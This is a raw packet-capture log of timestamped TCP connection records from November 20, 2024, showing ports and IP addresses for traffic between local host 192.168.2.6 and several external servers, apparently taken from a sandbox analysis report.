Nov 20, 2024 18:57:42.889736891 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.889743090 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.897352934 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.897404909 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.897409916 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.905850887 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.905899048 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.905903101 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.932589054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.027319908 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.040889025 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.044223070 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.044260025 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.044389963 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.044413090 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.044456959 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.047861099 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.052083969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.052098989 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.052175045 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.052181005 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.056292057 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.056370020 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.056375980 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.059236050 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.059287071 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.059293032 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.062185049 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.062541962 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.062546968 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.067766905 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.067857027 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.067872047 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.070628881 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.070676088 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.070683002 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.073492050 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.073544979 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.073550940 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.076616049 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.076679945 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.076685905 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.079324007 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.079380035 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.079385042 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.082199097 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.082317114 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.082323074 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.085160017 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.085231066 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.085236073 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.090796947 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.090877056 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.090883017 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.093756914 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.093831062 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.093836069 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.096674919 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.096740007 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.096745014 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.099919081 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.099941969 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.099962950 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.099968910 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.100009918 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.102381945 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.105452061 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.105530977 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.105535984 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.108439922 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.108490944 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.108516932 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.108521938 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.108560085 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.108563900 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.108575106 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.108612061 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.108689070 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.108702898 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:43.108711958 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.108760118 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:43.231934071 CET	443	49824	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.234313011 CET	443	49825	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.252145052 CET	49824	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.252156019 CET	443	49824	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.252214909 CET	49825	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.252232075 CET	443	49825	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.252759933 CET	443	49824	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.253420115 CET	443	49825	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.253482103 CET	49825	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.254544020 CET	49824	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.254657030 CET	49825	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.254659891 CET	443	49824	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.254724026 CET	443	49825	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.264977932 CET	443	49822	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.275057077 CET	443	49823	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.280607939 CET	49823	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.280625105 CET	443	49823	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.280862093 CET	49822	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.280889988 CET	443	49822	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.281018019 CET	443	49823	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.281290054 CET	443	49822	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.285914898 CET	49822	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.285995960 CET	443	49822	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.286422968 CET	49823	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.286504984 CET	443	49823	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.328824043 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.331541061 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.331548929 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.332993031 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.333134890 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.334611893 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.334693909 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.390043020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.390086889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.390099049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.390104055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.390117884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.390130997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.390149117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.390175104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.390326977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.390346050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.390357971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.390383959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.390405893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.399039030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.399089098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.399137020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.399600983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.419066906 CET	49822	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.419094086 CET	49824	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.419094086 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.419137001 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.450346947 CET	49825	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.450368881 CET	443	49825	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:43.450402021 CET	49823	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.511419058 CET	443	49835	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.520196915 CET	443	49832	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.520791054 CET	49835	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.520809889 CET	443	49835	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.520963907 CET	49832	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.520986080 CET	443	49832	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.521733999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.521749973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.521794081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.521919012 CET	443	49835	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.522022009 CET	49835	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.522422075 CET	443	49832	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.522474051 CET	49832	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.524065971 CET	443	49831	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.526245117 CET	49835	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.526313066 CET	443	49835	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.526582956 CET	49832	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.526796103 CET	49831	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.526807070 CET	443	49831	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.526829004 CET	443	49832	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.527467966 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.527522087 CET	443	49831	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.530488014 CET	443	49834	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.535113096 CET	49831	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.535235882 CET	443	49831	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.535361052 CET	49834	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.535382986 CET	443	49834	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.536884069 CET	443	49834	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.536972046 CET	49834	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.537256002 CET	443	49833	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.546030045 CET	49834	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.546156883 CET	443	49834	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.546498060 CET	49833	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.546509027 CET	443	49833	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.547565937 CET	443	49833	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.547633886 CET	49833	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.548310995 CET	49833	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.548486948 CET	443	49833	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.564954042 CET	443	49830	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.565709114 CET	49830	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.565721035 CET	443	49830	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.566764116 CET	443	49830	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.566817999 CET	49830	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.571562052 CET	49830	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.571640968 CET	443	49830	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.600164890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.600222111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.600330114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.600378990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.601505041 CET	49845	443	192.168.2.6	13.107.21.237
Nov 20, 2024 18:57:43.601540089 CET	443	49845	13.107.21.237	192.168.2.6
Nov 20, 2024 18:57:43.601598024 CET	49845	443	192.168.2.6	13.107.21.237
Nov 20, 2024 18:57:43.602190018 CET	49845	443	192.168.2.6	13.107.21.237
Nov 20, 2024 18:57:43.602205992 CET	443	49845	13.107.21.237	192.168.2.6
Nov 20, 2024 18:57:43.604588985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.604655981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.606224060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.606343031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.606344938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.606451035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.615489006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.615576029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.615612030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.615739107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.623845100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.623913050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.623939991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.623979092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.624212027 CET	49846	443	192.168.2.6	152.195.19.97
Nov 20, 2024 18:57:43.624233007 CET	443	49846	152.195.19.97	192.168.2.6
Nov 20, 2024 18:57:43.624355078 CET	49846	443	192.168.2.6	152.195.19.97
Nov 20, 2024 18:57:43.624665976 CET	49846	443	192.168.2.6	152.195.19.97
Nov 20, 2024 18:57:43.624689102 CET	443	49846	152.195.19.97	192.168.2.6
Nov 20, 2024 18:57:43.632780075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.632797956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.632854939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.632885933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.638254881 CET	49825	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:43.638262987 CET	49835	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.638289928 CET	443	49835	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.638318062 CET	49830	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.638319016 CET	49833	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.638324976 CET	443	49833	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.638329029 CET	443	49830	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.641484022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.641573906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.641601086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.641624928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.650274038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.650324106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.650373936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.650409937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.656291008 CET	49847	443	192.168.2.6	20.110.205.119
Nov 20, 2024 18:57:43.656327009 CET	443	49847	20.110.205.119	192.168.2.6
Nov 20, 2024 18:57:43.656507969 CET	49847	443	192.168.2.6	20.110.205.119
Nov 20, 2024 18:57:43.657046080 CET	49848	443	192.168.2.6	23.44.203.90
Nov 20, 2024 18:57:43.657080889 CET	443	49848	23.44.203.90	192.168.2.6
Nov 20, 2024 18:57:43.657150984 CET	49848	443	192.168.2.6	23.44.203.90
Nov 20, 2024 18:57:43.657262087 CET	49847	443	192.168.2.6	20.110.205.119
Nov 20, 2024 18:57:43.657277107 CET	443	49847	20.110.205.119	192.168.2.6
Nov 20, 2024 18:57:43.657686949 CET	49848	443	192.168.2.6	23.44.203.90
Nov 20, 2024 18:57:43.657702923 CET	443	49848	23.44.203.90	192.168.2.6
Nov 20, 2024 18:57:43.659323931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.659373999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.659403086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.659415960 CET	49832	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.659415960 CET	49834	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.659429073 CET	443	49832	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.659440994 CET	443	49834	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:43.659450054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.659476995 CET	49831	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.667944908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.667985916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.668021917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.668045044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.676724911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.676796913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.676805019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.676928997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.732048988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.732119083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.732160091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.732198000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.736367941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.736448050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.742624998 CET	49835	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.742638111 CET	49830	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.742651939 CET	49833	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.743519068 CET	443	49827	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.744110107 CET	49827	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:43.744144917 CET	443	49827	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.744710922 CET	49827	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:43.744719028 CET	443	49827	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.769958973 CET	443	49821	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.770672083 CET	49821	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:43.770684004 CET	443	49821	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.771095991 CET	49821	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:43.771100044 CET	443	49821	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.797960997 CET	443	49820	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.798795938 CET	49820	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:43.798815012 CET	443	49820	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.799329042 CET	49820	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:43.799334049 CET	443	49820	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.810992956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.811008930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.811054945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.811096907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.813411951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.813509941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.813884974 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:43.813913107 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.814126968 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:43.814192057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.814229012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.814297915 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:43.814308882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.814311981 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.814352036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.819552898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.819602013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.819689989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.819740057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.824527979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.824578047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.824588060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.824625015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.825783968 CET	49832	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.825783968 CET	49834	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:43.829739094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.829848051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.829998970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.830665112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.834896088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.834947109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.834969997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.835010052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.840012074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.840065002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.840101957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.840142012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.842485905 CET	443	49828	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.845170975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.845226049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.845288992 CET	49828	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:43.845299006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.845325947 CET	443	49828	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.845375061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.845752001 CET	49828	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:43.845758915 CET	443	49828	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.850322962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.850370884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.850440979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.850481033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.855523109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.855571032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:43.855601072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.855658054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:43.858552933 CET	443	49829	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.858972073 CET	49829	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:43.858989000 CET	443	49829	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.859467983 CET	49829	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:43.859472990 CET	443	49829	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:43.860729933 CET	80	49794	185.215.113.206	192.168.2.6
